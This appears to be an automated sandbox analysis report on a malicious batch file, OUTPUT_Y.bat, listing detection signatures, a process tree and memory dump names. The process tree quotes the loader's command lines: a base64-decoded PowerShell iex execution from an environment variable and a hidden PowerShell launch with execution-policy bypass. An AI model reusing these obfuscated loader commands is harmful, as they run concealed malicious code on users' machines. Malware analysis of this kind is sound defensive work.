Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/07/2026, 11:16

General

  • Target
    OUTPUT_Y.bat
  • Size 187KB
  • Sample260722-nc84aaeb42
  • SHA256 8ed984e62b366ff07313deab9a9b2f8293134ebfe7cfbb269b3cbeb38fd8df91
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 17 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\OUTPUT_Y.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4900
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo iex([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($env:fL4N6TZxpaR6lLL))) "
      2⤵
        PID:4244
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -W h -nop -noNi -Ep BYPasS
        2⤵
        • Badlisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2988

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/2988-0-0x00007FF8CFE3F000-0x00007FF8CFE40000-memory.dmp

          memory/2988-3-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/2988-4-0x00000200757B0000-0x00000200757D2000-memory.dmp

          memory/2988-5-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/2988-6-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/2988-7-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/2988-8-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/2988-9-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/2988-10-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/2988-11-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/2988-13-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/2988-14-0x0000020075840000-0x000002007589C000-memory.dmp

          memory/2988-17-0x00000200758A0000-0x00000200758B2000-memory.dmp

          memory/2988-18-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/2988-16-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/2988-19-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/2988-15-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/2988-12-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/2988-20-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

          memory/2988-21-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp